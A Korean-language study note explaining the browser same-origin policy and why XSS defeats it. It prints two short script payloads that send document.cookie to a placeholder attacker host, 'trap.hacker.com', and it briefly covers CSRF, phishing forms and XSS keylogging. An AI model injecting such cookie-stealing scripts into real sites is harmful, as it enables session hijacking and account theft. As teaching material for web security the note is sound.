동일출처정책(SOP) 개요
- 동일출처정책은 웹 보안에서 아주 중요한 개념이다.
- 중요한 개념인데 헷갈릴 때도 많기 때문제 정리해둔다.
- 일반적으로 말해, 어떤 사이트의 자바스크립트는 동일출처인 컨텐츠에만 접근할 수 있다는 제약이다.
- 동일출처가 아닌 다른 출처(origin)의 컨텐츠를 읽을 수 없다.
- 동일출처란 스킴(http, https등), 호스트(example.com 과 같은 것), 포트번호(80,443등)가 동일할 때를 말한다.
- 구체적인 예와 함께하면 이해하기 좋을 것 같다.
동일출처정책이 있어서 못하는 것
- 어떤 나쁜 사이트에 의도치않게 들어간다고 해도, 그 사이트에서 내 구글이나 페이스북 어카운트 정보를 읽을 수 없다 (구글이나 페이스북은 어떤 나쁜 사이트와 다른 출처이기 때문이다).
- 그러나 구글이나 페이스북에 XSS취약점이 있다면 얘기가 달라진다. 예를들어, 페이스북에서 공격자가 지정한 임의의 스크립트가 실행된다면, 그 스크립트는 페이스북이라는 출처에서 실행되기 때문에 페이스북의 정보에 접근할 수 있다.
동일출처정책에 제한받지 않는 태그
<img>
태그를 통한 이미지 삽입,<video>
태그를 통한 미디어 삽입,<script>
태그를 통한 외부 스크립트 포함(include)등은 동일출처정책에 제한받지 않는다.
XSS 악용 패턴
사용자의 세션훔치기
- XSS가 동일출처정책을 우회하는 원리를 알아보자.
- 그렇다면 위의 시나리오에서 실제 사용자의 정보를 어떻게 공격자가 얻어낼 수 있는가를 알아보자.
- 페이스북의 정보에 접근할 수 있는 스크립트는 어떻게 정보를 또 다른 사이트(공격자의 사이트)로 유저의 정보를 전달할 수 있는가?
- 동일출처정책에 의하면 자바스크립트로 다른 사이트로 정보를 전달하는 것도 제한되는게 아닌가?
- 아니다. 여기가 중요한 포인트다. 동일출처정책에 의해 공격자의 사이트에서 다른 사이트의 정보를 읽을 수는 없지만, 다른 사이트에서 공격자의 사이트로 정보를 전달하는 것은 전혀 문제가 없다.
- 다시 말하자면, 내가 마음대로 다른 사이트의 정보를 읽을 수는 없지만, 내 정보를 다른 사이트로 전송하는 것은 된다는 것이다.
- XSS가 실제로 악용되는 패턴을 보자. XSS취약점이 있는 사이트에 다음과 같은 스크립트를 삽입한다고 해보자.
패턴 1
<script>
new Image().src="http://trap.hacker.com/cookie_collector.php?sessionid="+document.cookie;
</script>
- 이미지는 동일출처정책에 제한받지 않기 때문에 192.168.149.128서버에 취약한 사이트의 쿠키정보가 전송되게 된다.
패턴2
또는, 다음과 같은 것도 생각할 수 있겠다. 페이지의 URL자체를 공격자의 사이트에 cookie값을 전송하는 URL로 변경하는 것이다.
<script>
location.href="http://trap.hacker.com/cookie_collector.php?sessionid="+document.cookie;
</script>
무단활동수행(CSRF)
- 세션쿠키등에 httpOnly 속성이 설정되어 있다면 자바스크립트로 쿠키값에 접근할 수 없다.
- 하지만 무단으로 특정 중요 처리를 하도록 만들수는 있다. (CSRF공격)
피싱
- 특정 HTML 폼을 만들어 거기에 중요정보를 입력하도록 만들어 중요한 정보를 빼내는 수법이다.
키로거로 키 입력 캡쳐
- 사용자의 세션을 훔치는 방법과 마찬가지로 XSS가 존재하는 페이지에서 사용자의 입력을 공격자의 서버로 전송하는 기법이다.
참고 링크
- https://portswigger.net/web-security/cors/same-origin-policy
- https://portswigger.net/web-security/cross-site-scripting
- https://pentest-tools.com/blog/xss-attacks-practical-scenarios